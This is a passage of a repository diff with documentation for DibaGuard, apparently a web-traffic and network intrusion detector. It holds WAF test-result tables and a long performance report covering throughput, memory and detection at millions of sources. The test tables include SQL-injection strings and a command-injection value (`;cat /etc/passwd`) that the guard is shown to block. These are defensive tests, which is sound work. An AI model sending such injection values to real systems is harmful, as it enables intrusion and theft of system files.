+ | another source sending `X-Forwarded-For: 127.0.0.3` (the blocked one) | 200 — identity not taken over; the sidecar summary is attributed to the real sender |
586
+ | sidecar-challenged source; with its cookie | 429 challenge; 200 |
587
+ | rate-limited source, 4 quick requests (1 r/s, burst 2) | 200, 200, 429 `slow down`, 429 |
588
+ | report mode: SQLi / blocked source / probe | 200 with verdict `block` / `block` / `challenge` |
589
+ | service down, guarded fail-open / no `error_page` | 200 from the app / 500 |
590
+ | SQLi with a `0x01` byte in `User-Agent` | guarded config 403; the naive `error_page 500 = @app` served the SQLi to a lenient app (200) |
591
+
592
+ Second round, after the decoding and identity changes — through nginx + `dibaguard-authz` and directly against two
593
+ `dibaguard-proxy` instances (`-trusted 127.0.0.1/32`, one with `-proxy-protocol`):
594
+
595
+ | request | result |
596
+ |---|---|
597
+ | `?id=%zz1'or 1=1-- -`, `?host=127.0.0.1;cat /etc/passwd`, `%u0027`-encoded SQLi, double encoding + bad escape (nginx) | 403 each |
598
+ | the same through the proxy, and a POST body `user=admin%27+or+1%3D1--+-&x=%zz` | 403 each |
599
+ | `?q=100%`, `?q=50%+off&sort=price;desc` (nginx and proxy) | 200 |
600
+ | proxy: sidecar-blocked 127.0.0.3 sending `X-Forwarded-For: 1.2.3.4` | 403 (cannot escape) |
601
+ | proxy: 127.0.0.2 sending `X-Forwarded-For: 127.0.0.3` | 200 (cannot frame; summary attributed to 127.0.0.2) |
602
+ | proxy: trusted 127.0.0.1 sending `127.0.0.3` / `127.0.0.3, 9.9.9.9` | 403 / 200 (client 9.9.9.9) |
603
+ | proxy + PROXY v1 (curl `--haproxy-protocol --haproxy-clientip`): client 127.0.0.3 / 203.0.113.7 / 203.0.113.7 with `X-Forwarded-For: 127.0.0.3` / 203.0.113.7 SQLi | 403 / 200 / 200 / 403 |
604
+ | proxy + PROXY: no header from the trusted peer; a header from untrusted 127.0.0.2 | connection closed without an answer, both |
605
+
606
+ ---
607
+
608
+ ## 14. Limits and notes
609
+
610
+ * **Bodies.** nginx `auth_request`, Traefik, Caddy and HAProxy lua do not send the body, so body payloads are not
611
+ inspected through them (the URI, query and headers are). Envoy `with_request_body` and the inline proxy do inspect
612
+ the body prefix.
613
+ * **Upstream status.** An authorization check never sees the app's reply, so the summaries sent to the sidecar
614
+ carry status 0 (403 for content blocks). The sidecar's failure-share signals (credential stuffing, enumeration by
615
+ 4xx) need the inline proxy or the LB's access logs.
616
+ * **Challenge cookie.** Bound to the client address and the UTC day; all replicas must share `-challenge-secret`. It
617
+ is a JS check (stops clients that do not run JS), not a CAPTCHA.
618
+ * **What the app may trust.** Only `X-DibaGuard-*` headers the LB set (nginx `proxy_set_header`, Envoy
619
+ `allowed_upstream_headers`, Traefik `authResponseHeaders`, Caddy `copy_headers` all overwrite a client's value).
620
+ * **Header size.** The service accepts headers up to Go's 1 MB default, more than any of these LBs forwards by
621
+ default, so an oversized request gets a verdict rather than a 431.
622
+ * **Canonical text vs. the Python canonicaliser.** Percent decoding of malformed escapes now matches
623
+ `dibaguard/http/canon.py` (checked on 20 malformed / mixed / `%u` / double-encoded strings: identical). The Go fast
624
+ path still differs from `parse.py`'s `model_text` in ways that predate this work: it does not apply the HTML-entity,
625
+ `\xHH` / `\uXXXX`, NFKC, SQL-comment and whitespace layers; it keeps invalid UTF-8 bytes where Python writes
626
+ U+FFFD; `+` becomes a space in every decoding round (Python: the first only, so `%2B` ends as `+` there and as a
627
+ space here); the first decoding of a query pair is not counted in `deepest`; query keys are sorted; cookies are one
628
+ `h:cookie` field (Python: `c:` pairs); the header set differs (Go also reads `accept`, `authorization`,
629
+ `x-api-version`, `origin`; Python also `x-requested-with`).
docs/PERFORMANCE.md ADDED
@@ -0,0 +1,509 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # DibaGuard — performance and scalability (measured 2026-10-31)
2
+
3
+ > **Open-release copy** ([DibaAi/DibaGuard-Open](https://huggingface.co/DibaAi/DibaGuard-Open)). This document was written for the private build of DibaGuard. Numbers that involve the HTTP request model (`http_v2`) were measured with that model, which is **not** part of the open release; the open release ships the licence-clean network models described in `CLEAN_MODELS.md`. Licence statements inside this document are superseded by `DATA_LICENSES.md`, `CLEAN_MODELS.md` and the repository's `LICENSE`, `LICENSE-WEIGHTS` and `NOTICE` files. Sections of the original that were written in Persian were removed from this copy; nothing else was edited.
4
+
5
+ Roadmap items 9 (scalability) and 10 (runtime). Every number below was measured in this session on the hardware of
6
+ §2, with the shipped models (§1.3), on synthetic traffic only (§1.1). What was not measured is listed in §10.
7
+ Bugs and bottlenecks found are in §8 — none of them is fixed here (`dibaguard/` and the Go sources belong to other work).
8
+
9
+ ## 0. Summary
10
+
11
+ | question | answer (measured) |
12
+ |---|---|
13
+ | Does the Python engine run at 2M+ distinct sources? | **Yes.** 5,325,510 distinct sources over 8.2 simulated hours on a Kaggle CPU kernel, no crash, RSS flat at 2.8–3.0 GB (peak 3.4 GB) from 500k sources on: the per-source tables stop at their 500k LRU cap. |
14
+ | Where does it break? | With the caps removed, RSS grows 2,947 bytes per source (linear fit, 6,001,699 sources reached at 17.6 GB): the 30 GB kernel would run out at ≈ 10M sources (10.8M without the job's parent process). With the default caps it does not run out of memory — it forgets: 55% of the flows of returning sources found their record already evicted at 2M sources, 72% at 5M (§3.4). |
15
+ | Do the per-source tables stay bounded? | The four LRU tables do (500k entries each). The warm-source GRU table does **not**: 300k one-shot scan sources left 300,173 entries, all still there 30 minutes later (§3.7, B3). Per-record size is not bounded either: a scanner's record is 108 KB vs 1.9 KB (B9). |
16
+ | Detection at 2M / 5M sources | A fast SYN scan, an SSH brute force and a slow scan injected from new addresses: **100% / 100% / 100% of their flows alarmed at 1M, 2M and 5M sources**, first flow alarmed in every case, families portscan / bruteforce / portscan (§3.5). |
17
+ | Does accuracy degrade? | Detection: no. Benign alarm rate: depends on the traffic, not on the source count. With a stationary population it was 0.76% of benign source-minutes at 1M sources (RUN4_SUMMARY), almost all from a site-wide tier with a fixed floor (B5). With a growing population it was 6.5–8.6%, from the campaign tier, which cannot recover from a benign level shift (B8). The engine's own target is alpha = 1e-3. |
18
+ | Memory pressure | A spoofed flood of 1.2M one-flow sources in 60 s (2.4x the tables) at 5.3M sources: no crash, tables stayed at 500k, 100% of the flood alarmed (portscan), and a slow scan and a slow SSH brute force running through it stayed 100% alarmed before and after — their records survived because they were active every few seconds. The flood's batches were 4x slower (B7). |
19
+ | Python flow throughput | 9.7k flows/s per core on the Kaggle Xeon (batch 5000, after a 400k-flow calibration), 6.6k flows/s per core sustained in the 5M-source run, 24.2k flows/s with 4 processes on 4 vCPUs. A fixed cost of ~20 ms per call (B1) makes small batches slow: 48 flows/s at batch 1, 3.2k at batch 100 (local; ~2x worse on the 05:13 tree, B1). |
20
+ | Python latency, batch of 5000 flows (Kaggle, 5M run) | p50 / p95 / p99 / p99.9 = 0.60 / 0.93 / 6.3 / 16.8 s per batch (119 / 185 / 1,252 / 3,362 µs per flow). The tail is the synchronous re-calibration: 13 batches, p50 15.3 s, max 17.2 s (B2); one took **17.5 minutes** with the newest engine (B7). |
21
+ | Python HTTP / DB | 3.8–4.8k requests/s and 2.3–2.8k DB events/s per Kaggle core; per-request p50 200–255 µs in batches of 100–1000. |
22
+ | Go fast path per core (local i3-12100F) | tier 0+1 per flow p50 / p99 = 7.0 / 14.1 µs (134k flows/s); SeqNet step 34 / 64 µs; HTTP2 model 58 / 137 µs (32 / 75 µs with the site FiLM cached, B10); signatures 2.8 µs when the prefilter skips the regexes, 96 µs when it does not — and it does not for any browser User-Agent (B11). |
23
+
24
+ Against the budgets of DESIGN.md §1:
25
+
26
+ | budget (DESIGN.md §1) | target | measured | verdict |
27
+ |---|---|---|---|
28
+ | RAM, runtime + 1M tracked entities | < 300 MB | Python engine: 2,947 bytes per tracked source (Kaggle fit; 2.6–4.0 KB by tracemalloc) → ≈ 3 GB per 1M sources. Go state not measured. | **not met** by the Python engine (≈ 10x) |
29
+ | HTTP, tiers 0–1, batched | ≥ 20k req/s, p99 < 1 ms | Python: ≤ 4.8k req/s per Kaggle core. Go model: 15.3k/s per core, p99 137 µs; 28.9k/s per core with the FiLM cached; 48.7k/s with 4 workers. Go signatures + model: 6.6k/s per core, p99 351 µs. | Python **not met**; Go met with ≥ 2 cores (model alone, or 1 core after B10) |
30
+ | flows, tier 1 | ≥ 200k flows/s | Go tier 0+1: 133.6k/s per core, 463k/s with 4 workers. Python engine (all tiers): 6.6–9.7k/s per Kaggle core. | Go met with ≥ 2 cores; Python ≈ 20–30x below |
31
+
32
+ ## 1. Method
33
+
34
+ ### 1.1 Synthetic traffic (no datasets)
35
+
36
+ All generators are in `guard_jobs/scale_bench.py`, shared by the Kaggle job and `scripts/bench_runtime.py`.
37
+
38
+ * **Growing population** (runs 1–2, default): a flow comes from a never-seen source with probability q = 0.3
39
+ (one-off clients, NAT / mobile churn, internet background), otherwise from an existing source drawn as
40
+ `id = floor(n * u**3)`: old sources are the heavy hitters, rank-frequency ~ rank^-0.67, flows per source ~ power
41
+ law with exponent 2.5; the busiest source carries ~ n^(-1/3) of the returning flows (1% at 1M sources). This
42
+ population keeps growing, so the number of *distinct* sources per 5-minute window also grows — a level shift some
43
+ tiers react to (§3.5).
44
+ * **Stationary population** (runs 3–4, `--zipf-a 0.8 --pop 8000000`): a fixed population of 8M ids with Zipf(0.8)
45
+ weights, every flow drawn i.i.d. (busiest source 0.86% of flows, top 100 7%): every window looks like every other,
46
+ only the number of distinct sources seen so far grows (2M after ≈ 4.3M flows).
47
+ * Both at a simulated 600 flows/s (2M distinct sources ≈ 3.1 h of simulated time in the growing population).
48
+ * **Benign flows**: each source has a home server (200 servers) and service (443 58%, 80 18%, 53/udp 10%, 8080, 22,
49
+ 3306, 25, 123/udp) from a hash of its id and roams 15% of the time; log-normal sizes and durations; **0.5% failed
50
+ connects** (SYN, no reply).
51
+ * **Attackers** (the shapes of `tests/test_engine.py`), from never-seen addresses, merged into an 1800 s window of the
52
+ live stream when the population reaches 1M, 2M and 5M distinct sources: a fast SYN scan (3000 probes in 100 s), an
53
+ SSH brute force (900 logins in 5 min), a slow scan (400 probes over 30 min).
54
+ * **HTTP**: canonical request texts built with `dibaguard.http.parse.from_url(...).model_text()` (products,
55
+ Persian / English search, JSON cart API, orders API, static assets, logins with 15% 401s, blog; 2% 404s), clients
56
+ from the growing population at 2000 requests/s; attackers: credential stuffing (401s), id enumeration (404s),
57
+ payload requests (SQLi / XSS / traversal / JNDI / SSTI / cmd).
58
+ * **Database**: 16 query shapes over PostgreSQL / MySQL / MongoDB / Redis / Elasticsearch with random literals, 20
59
+ application pods; calibration at 50 events/s, scoring at 2000 events/s; every 10k events an injection, an RCE, a
60
+ privilege escalation, a destructive query, an auth-failure burst from a public address and a 2M-row read.
61
+
62
+ ### 1.2 Timing and memory
63
+
64
+ * Python: `time.perf_counter()` around each engine call (`Guard.flows`, `Guard.http_requests`, `DbGuard.score`).
65
+ *Per-item* latency = call time / batch size (amortised). Percentiles are over calls; the number of calls is given —
66
+ with fewer than ~1000 calls the P99.9 is effectively the maximum. BLAS is limited to one thread (threadpoolctl), so
67
+ numbers are per core. Latency excludes queueing (the time a flow waits for its batch to fill), I/O and parsing;
68
+ request canonicalisation is measured separately (§4). Throughput = items / summed engine time.
69
+ * Go: every call timed on its own (`go/dibaguard/bench_latency_test.go`). Go's monotonic clock on Windows advances in
70
+ ~0.5 ms steps, so `bench_latency_windows_test.go` reads QueryPerformanceCounter instead; one read costs 100 ns and
71
+ sits inside every measured call.
72
+ * Memory: RSS from `/proc/self/status` (Kaggle) or the Windows working set (local), peaks from VmHWM /
73
+ PeakWorkingSetSize, bytes per structure from `tracemalloc` (CPython object overhead included). The uncapped run
74
+ ran in a separate interpreter, so its RSS is the engine's alone.
75
+
76
+ ### 1.3 Code, models, runs
77
+
78
+ * Models: the shipped set from `D:/build-tmp/guard/dl/models`, uploaded next to each run's code bundle
79
+ (`code/<run>/models/` in the private results repo) and verified by sha256 in the job: `seq_v1/nf_entity_mono.npz`
80
+ (a03fa0a7…, the tier-1 prior: 300 trees, depth 6, 24 features), `seq_v1/seqnet.npz` (4875b9c9…, 2 layers, d = 64),
81
+ `entity_v1/nf_entity_detector.npz` (fea603ea…), `http_v2/http_tier1_v2.npz` (66ae80a4…, 262,144 buckets, E = 48,
82
+ H = 128), `dbnet.npz` (4d953493…). Go used the flat exports of the same files (`D:/build-tmp/guard/card_repo/models`).
83
+ * `dibaguard/engine.py` and `dibaguard/campaign.py` were being edited by another agent throughout the session. Each
84
+ Kaggle run executed the bundle taken at its launch (the report records a sha256 of every source file):
85
+
86
+ | run | launched (+03:30) | population | phases | engine notes |
87
+ |---|---|---|---|---|
88
+ | guard-scale-1 | 02:57 | growing | shard, http, db, capped to 5.3M, churn, dscan, uncapped to 6M | campaign tier (early version), no drift guard |
89
+ | guard-scale-2 | 03:36 | growing | capped to 2M | campaign tier, flood "piling" condition |
90
+ | guard-scale-3 | 04:01 | stationary | capped (stopped at 1.57M by its time budget) | + drift guard (B7) |
91
+ | guard-scale-4 | 04:48 | stationary | capped to 2M | RUN4_ENGINE |
92
+
93
+ Local runs used the working tree of 03:00–05:15. Every finding in §8 was re-checked against the working tree of
94
+ 05:13 (line numbers are from that version).
95
+
96
+ ## 2. Hardware
97
+
98
+ | | Kaggle CPU kernel (all four runs) | local workstation |
99
+ |---|---|---|
100
+ | CPU | Intel Xeon @ 2.20 GHz, 4 logical CPUs (affinity 4), AVX2, no AVX-512 | Intel Core i3-12100F, 4 cores / 8 threads, 3.3 GHz base |
101
+ | RAM | 32 GB (cgroup limit 30 GB), no swap | 16 GB; ~6 GB free during the runs (other agents' processes running) |
102
+ | OS / runtime | Linux 6.18, Python 3.13, numpy 2.1.3 | Windows 11, Python 3.13.3, numpy 2.2.5, Go 1.23.4 |
103
+
104
+ The local numbers come from a shared, busy workstation: treat them as ±15%.
105
+
106
+ ## 3. Python engine: flows
107
+
108
+ ### 3.1 Batch size (local, 150k-flow calibration, ~140k sources)
109
+
110
+ | batch | calls | flows/s | call p50 ms | p95 | p99 | p99.9 | per-flow p50 µs | per-flow p99 µs |
111
+ |---|---|---|---|---|---|---|---|---|
112
+ | 1 | 300 | 48 | 19.78 | 26.12 | 31.11 | 51.81 | 19,782 | 31,115 |
113
+ | 10 | 300 | 413 | 23.47 | 30.06 | 34.43 | 44.84 | 2,347 | 3,443 |
114
+ | 100 | 200 | 3,180 | 29.91 | 39.57 | 60.58 | 143.38 | 299 | 606 |
115
+ | 1000 | 60 | 15,180 | 64.16 | 80.09 | 92.00 | 99.59 | 64.2 | 92.0 |
116
+ | 5000 | 12 | 19,837 | 219.44 | 400.08 | 463.62 | 477.92 | 43.9 | 92.7 |
117
+
118
+ Every call costs ≈ 20 ms before the first flow is scored (B1). The engine is only efficient in batches of ≥ 1000
119
+ flows, so a flow's verdict waits for its batch: at 600 flows/s a 1000-flow batch is 1.7 s of traffic.
120
+
121
+ ### 3.2 Where the time goes (cProfile, 25 calls of 1000 flows, local)
122
+
123
+ | function | self time | incl. callees |
124
+ |---|---|---|
125
+ | `Guard._remember` (engine.py) — the per-call re-calibration buffer (B1) | 35.6% | 35.9% |
126
+ | `EntityState.update` + `_get` + `_remember` (flows/entity.py) — tier 0 | 22.7% | 29.5% |
127
+ | `Guard._features` (engine.py) | 1.9% | 33.1% |
128
+ | `Guard.flows` body (numpy glue and per-flow Python loops) | 4.6% | — |
129
+ | `SourceEvidence.update` x2 (decide.py) | 2.6% | 4.8% |
130
+ | `CampaignTracker.update` (campaign.py) | 1.8% | 3.5% |
131
+ | `EntityRisk`, `SitePressure`, `DriftMartingale`, `ConformalFPR.pvalue`, `GlobalRate._bump` | 4.4% | 8.0% |
132
+ | `Oblivious.raw` (tier-1 trees, numpy) | 1.6% | 2.4% |
133
+
134
+ In batches where most flows alarm (a flood, a distributed scan) a different cost dominates: `np.isin` on string
135
+ arrays took 40% of the time (B7) — 936 ms per 5000-flow flood batch vs 362 ms for a benign one (local).
136
+
137
+ ### 3.3 Throughput per core and with shards (Kaggle)
138
+
139
+ Each process runs its own `Guard` on its share of a 600 flows/s site (traffic split by source), calibrated on 400k
140
+ flows, then scores 200k flows in batches of 5000.
141
+
142
+ | processes | flows/s total | per process | flows per CPU-second | RSS per process |
143
+ |---|---|---|---|---|
144
+ | 1 | 9,654 | 9,654 | 9,674 | 1.32 GB |
145
+ | 2 | 18,566 | 9,283 | 9,389 | 1.32 GB |
146
+ | 4 | 24,240 | 6,060 | 6,275 | 1.34 GB |
147
+
148
+ Two processes scale linearly; four on 4 vCPUs (most likely 2 physical cores with hyper-threading) give 2.5x. A shard
149
+ sees only its own sources' flows, so destination-side counters (the flood tier) see a fraction of each destination.
150
+
151
+ ### 3.4 Scale: 2M and 5M distinct sources (Kaggle run 1, production settings)
152
+
153
+ `Guard.load(models, alpha=1e-3, warmup_s=600)` (max_entities 500k), calibrated on 900k flows (1500 s), then the
154
+ growing population in batches of 5000 until 5M distinct sources:
155
+
156
+ | distinct sources | simulated h | RSS MB | peak RSS MB | flows/s (last 40 batches) | per-source tables (state / evidence / risk) | GRU entries | returning flows whose record had been evicted |
157
+ |---|---|---|---|---|---|---|---|
158
+ | 500,786 | 0.77 | 2,754 | 3,221 | 8,416 | 500,000 / 408,369 / 408,369 | 103 | 0.0% |
159
+ | 1,001,054 | 1.55 | 2,790 | 3,221 | 6,711 | 500,000 / 500,000 / 500,000 | 158 | 33.9% |
160
+ | 2,000,475 | 3.09 | 2,821 | 3,221 | 7,536 | 500,000 / 500,000 / 500,000 | 197 | 55.1% |
161
+ | 3,000,288 | 4.63 | 2,836 | 3,332 | 7,820 | 500,000 / 500,000 / 500,000 | 199 | 63.8% |
162
+ | 4,000,286 | 6.18 | 2,850 | 3,332 | 7,714 | 500,000 / 500,000 / 500,000 | 186 | 68.9% |
163
+ | 5,001,219 | 7.72 | 2,821 | 3,332 | 7,331 | 500,000 / 500,000 / 500,000 | 168 | 72.4% |
164
+
165
+ End: 5,325,510 distinct sources, 8.2 simulated hours, 14.7M flows in the main loop (plus 2.2M in the injection
166
+ windows), RSS 2,962 MB, peak 3,371 MB (the calibration's peak was 3,221 MB). Recalibration buffer 400k rows, alarm
167
+ log at its 50k cap.
168
+
169
+ Latency over the 2,940 batches of 5000 flows (6,633 flows/s of engine time):
170
+
171
+ | | p50 | p95 | p99 | p99.9 | max |
172
+ |---|---|---|---|---|---|
173
+ | batch, all (ms) | 596 | 927 | 6,261 | 16,812 | 17,176 |
174
+ | batch, without the 13 re-calibration batches (ms) | 596 | 918 | 2,124 | 7,645 | 8,026 |
175
+ | the 13 re-calibration batches (ms) | 15,348 | 17,110 | — | — | 17,176 |
176
+ | per flow, all (µs) | 119 | 185 | 1,252 | 3,362 | 3,435 |
177
+ | per flow, without re-calibration batches (µs) | 119 | 184 | 425 | 1,529 | 1,605 |
178
+
179
+ The same phase with the later engines: run 2 (to 2M) 5,273 flows/s, per-flow p50 177 µs, 4 re-calibration batches of
180
+ ~14.0 s; run 3 (stationary, to 1.57M) per-flow p50 145 µs, and its one re-calibration batch took **1,047,733 ms**
181
+ (B7). With the stationary population the evicted-record share was 17.8% at 1M and 27.8% at 1.5M sources (run 3).
182
+
183
+ The eviction column is the scale effect that matters: with more distinct sources than the 500k cap, a source that
184
+ stays silent for longer than the tables' turnover time (at most ~46 minutes here: 500k entries / 180 new sources
185
+ per second, less once returning sources churn too) has lost its counters, its evidence and its age; the engine then judges it as a
186
+ first-contact source (newborn suppression applies again). Memory stays bounded; memory of *who is who* does not.
187
+
188
+ ### 3.5 Detection and benign alarms at scale
189
+
190
+ Share of each attacker's flows that alarmed (dominant family), and benign alarm rates in the same 1800 s window:
191
+
192
+ | run (population) | distinct sources before | fast SYN scan | SSH brute force | slow scan | benign source-minutes alarmed | benign flows alarmed |
193
+ |---|---|---|---|---|---|---|
194
+ | 1 (growing) | 2,000,475 | 100.0% (portscan) | 100.0% (bruteforce) | 100.0% (portscan) | 7.33% | 9.69% |
195
+ | 1 (growing) | 5,001,219 | 100.0% (portscan) | 100.0% (bruteforce) | 100.0% (portscan) | 8.64% | 10.12% |
196
+ | 2 (growing) | 1,001,054 | 100.0% (portscan) | 100.0% (bruteforce) | 100.0% (portscan) | 6.46% | 9.03% |
197
+ | 2 (growing) | 2,001,312 | 100.0% (portscan) | 100.0% (bruteforce) | 100.0% (portscan) | 6.83% | 8.96% |
198
+ | 3 (stationary) | 1,001,062 | 100.0% (portscan) | 99.9% (bruteforce) | 100.0% (portscan) | 0.76% | 0.89% |
199
+ RUN4_ROW
200
+
201
+ Every attacker's first flow alarmed; the slow scan's record was still in the tables at the end of every window, the
202
+ fast scan's and the brute force's had already been evicted (they had stopped ~25 minutes earlier).
203
+
204
+ Where the benign alarms come from (alarmed benign flows by tier in the window):
205
+
206
+ * Growing population, runs 1–2: tier 6 (campaign) ≈ 49–52k, tier 4 (evidence) ≈ 40–50k, tier 5 (site-wide scan
207
+ floor) ≈ 3.9–4.4k, tiers 1–3 ≈ 1–5k. The campaign tier counts distinct failing sources per 5-minute window per
208
+ fingerprint; a growing population raises that count organically, the CUSUM fires, and because active windows never
209
+ enter the history it never comes back (B8; reproduced in isolation, §8). From 400k sources on, tier 6 alone flagged
210
+ ~5% of all benign flows in every 100k-source segment.
211
+ * Stationary population, run 3: tier 5 5,263, tier 4 4,281, tier 3 100, tier 1 11 — no tier 6. The global scan
212
+ tier flags ~96% of the benign failed connects at this site rate (B5); without it the benign alarm rate would be
213
+ ≈ 0.2% of source-minutes. Segment rates in the main loop: 0.52–0.57% of benign flows from 600k to 1M sources,
214
+ 0.92% in the 1.5M segment. RUN4_BENIGN
215
+ * Local attribution at 600 flows/s (162k sources): the run-1 engine alarmed 6.0% of benign flows (77% of them tier 6);
216
+ the 03:22 working tree 1.4% of flows / 0.67% of source-minutes — tier 5 on 96% of the failed connects, and sources
217
+ with ≥ 50 flows in the window (12.6% of the traffic) alarmed on 7.7% of their flows (named `bruteforce`: one
218
+ heavy client hitting its server:443 several times a second) vs 0.48% for everyone else.
219
+
220
+ ### 3.6 Memory pressure: a spoofed flood flushes the per-source tables (Kaggle run 1, at 5.3M sources)
221
+
222
+ Two 1800 s windows, each with a slow scan (300 probes, ~1 per 6 s) and a slow SSH brute force (600 logins, ~1 per
223
+ 3 s) from new addresses; in the second, a spoofed SYN flood of 1,200,000 one-flow sources at one server between
224
+ 600 s and 660 s — 2.4x the tables' capacity in one minute.
225
+
226
+ | | control (no flood) | with the flood |
227
+ |---|---|---|
228
+ | slow scan alarmed before / after the flood | 100% / 100% | 100% / 100% |
229
+ | SSH brute force alarmed before / after | 100% / 100% | 100% / 100% |
230
+ | attackers' records right after the flood | — | both present: age 117 / 224 flows, evidence 98.9 / 90.2 |
231
+ | flood flows alarmed | — | 100% (family portscan) |
232
+ | per-source tables | 500,000 | 500,000 throughout |
233
+ | batch latency p50 / p99 / max (5000 flows) | 0.74 / 1.43 / 18.1 s | 3.04 / 10.87 / 14.98 s |
234
+ | window wall time | 191 s | 1,036 s |
235
+
236
+ The LRU forgets the least recently *seen* sources: 1.2M new keys in 60 s push out anything not seen in the previous
237
+ ≈ 25 s (500k / 1.2M x 60 s — arithmetic, not counted per source). Attackers active every few seconds keep their
238
+ state; an attacker probing less often than that, and every quiet benign client, is forgotten by such a flood.
239
+
240
+ ### 3.7 Distributed scan: the warm-source GRU table (Kaggle run 1)
241
+
242
+ 300,000 new sources x 6 SYN probes each within 10 minutes, inside the normal stream:
243
+
244
+ | | value |
245
+ |---|---|
246
+ | scan flows alarmed | 100% (attack_generic 1,788,641, portscan 11,359) |
247
+ | GRU entries before / after the scan / after 30 more minutes of normal traffic | 169 / 300,173 / 300,174 |
248
+ | scan sources still holding a GRU state after those 30 minutes | 299,999 |
249
+ | size of one entry (tracemalloc) | 717 B → ≈ 215 MB for these 300k |
250
+ | batch latency p50 / p99 (5000 flows, mostly alarms) | 3.8 s / 11.0 s |
251
+
252
+ RSS moved only 3,437 → 3,487 MB because the phase freed other memory at the same time; the entry count is the
253
+ measurement. Locally: 4,000 scan sources → 4,000 entries, all still held after 100k more flows.
254
+
255
+ ### 3.8 Per-source memory and where the RAM runs out
256
+
257
+ Bytes per tracked source (local, `tracemalloc`, CPython 3.13, 64-bit):
258
+
259
+ | structure | bytes per source |
260
+ |---|---|
261
+ | `EntityState` record, a one-flow source | 1,938 |
262
+ | `EntityState` record, 8 flows to 8 (host, port) keys | 3,387 |
263
+ | `EntityState` record, a scanner whose 512-key (host, port) memory is full | 107,940 |
264
+ | `SourceEvidence` entry (two per source: fast and slow horizon) | 225 |
265
+ | `EntityRisk` entry | 205 |
266
+ | warm-source GRU entry (2 x 64 float32 state, tuple, dict slot) | 717 |
267
+ | **engine total**: one-flow / 8-flow / worst-case scanner | **2,592 / 4,042 / 109,312** |
268
+
269
+ Uncapped (Kaggle run 1, `max_entities = 10**9`, q = 0.5, a clean interpreter):
270
+
271
+ | distinct sources | RSS MB | MemAvailable MB | flows/s (recent) |
272
+ |---|---|---|---|
273
+ | 432,067 | 1,515 | 27,609 | 9,829 |
274
+ | 931,879 | 3,072 | 26,039 | 8,380 |
275
+ | 1,930,275 | 5,844 | 23,272 | 6,453 |
276
+ | 2,931,652 | 8,844 | 20,252 | 6,934 |
277
+ | 3,930,928 | 11,427 | 17,661 | 10,034 |
278
+ | 4,931,869 | 14,034 | 15,067 | 9,910 |
279
+ | 6,001,699 | 17,617 (peak) | 11,663 | 9,803 |
280
+
281
+ Linear fit: **2,947 bytes per source**, intercept 396 MB. It stopped at its 6M target, not at a limit; at that slope
282
+ the kernel's 30 GB cgroup limit is reached at ≈ 10.8M sources (≈ 10.0M with the parent process's 2.2 GB beside it).
283
+ Engine time: 7,871 flows/s, per-flow p50 / p99 / p99.9 = 96 / 653 / 6,070 µs. No eviction, so no state loss — but
284
+ also no bound: B9's worst case (a scanner's 512-key record) is 37x the measured average.
285
+
286
+ ### 3.9 The re-calibration stall
287
+
288
+ Every `recal_s` (1800 s) of stream time, the call that crosses the boundary rebuilds every reference from the buffer
289
+ (≤ 400k rows) plus the 80k-row anchor, synchronously, inside `Guard.flows` (B2):
290
+
291
+ | where | stall |
292
+ |---|---|
293
+ | local, `recalibrate_now()` on 365k buffered rows (03:xx working tree) | 6.4 s |
294
+ | Kaggle run 1 (13 stalls) | p50 15.3 s, p95 17.1 s, max 17.2 s |
295
+ | Kaggle run 2 (4 stalls) | p50 14.0 s, max 14.1 s |
296
+ | Kaggle run 3 (drift guard present, 1 stall) | 1,047.7 s (B7) |
297
+ RUN4_RECAL
298
+
299
+ ## 4. Python engine: HTTP requests
300
+
301
+ Per call of `Guard.http_requests` with clients, status and time (model + session stream + site-wide failure tier),
302
+ one host:
303
+
304
+ | batch | Kaggle req/s | Kaggle call p50 / p99 / p99.9 ms | Kaggle per-request p50 µs | local req/s | local per-request p50 µs |
305
+ |---|---|---|---|---|---|
306
+ | 1 | 958 | 1.02 / 1.45 / 1.98 | 1,023 | 2,397 | 400 |
307
+ | 10 | 3,132 | 3.07 / 5.36 / 8.87 | 307 | 7,455 | 126 |
308
+ | 100 | 4,796 | 19.96 / 31.14 / 145.34 | 200 | 7,409 | 130 |
309
+ | 1000 | 3,788 | 254.8 / 521.3 / 749.5 | 255 | 5,810 | 169 |
310
+ | 5000 | 2,405 | 2,086.8 / 2,526.7 / 2,548.8 | 417 | — | — |
311
+
312
+ Throughput *falls* above ~100 requests per call (B12). Model only (no client stream), batch 1000: 5,107 req/s
313
+ (Kaggle). Request canonicalisation (`parse.from_url(...).model_text()`) adds 13 µs p50 / 26 µs p99 per request (local).
314
+
315
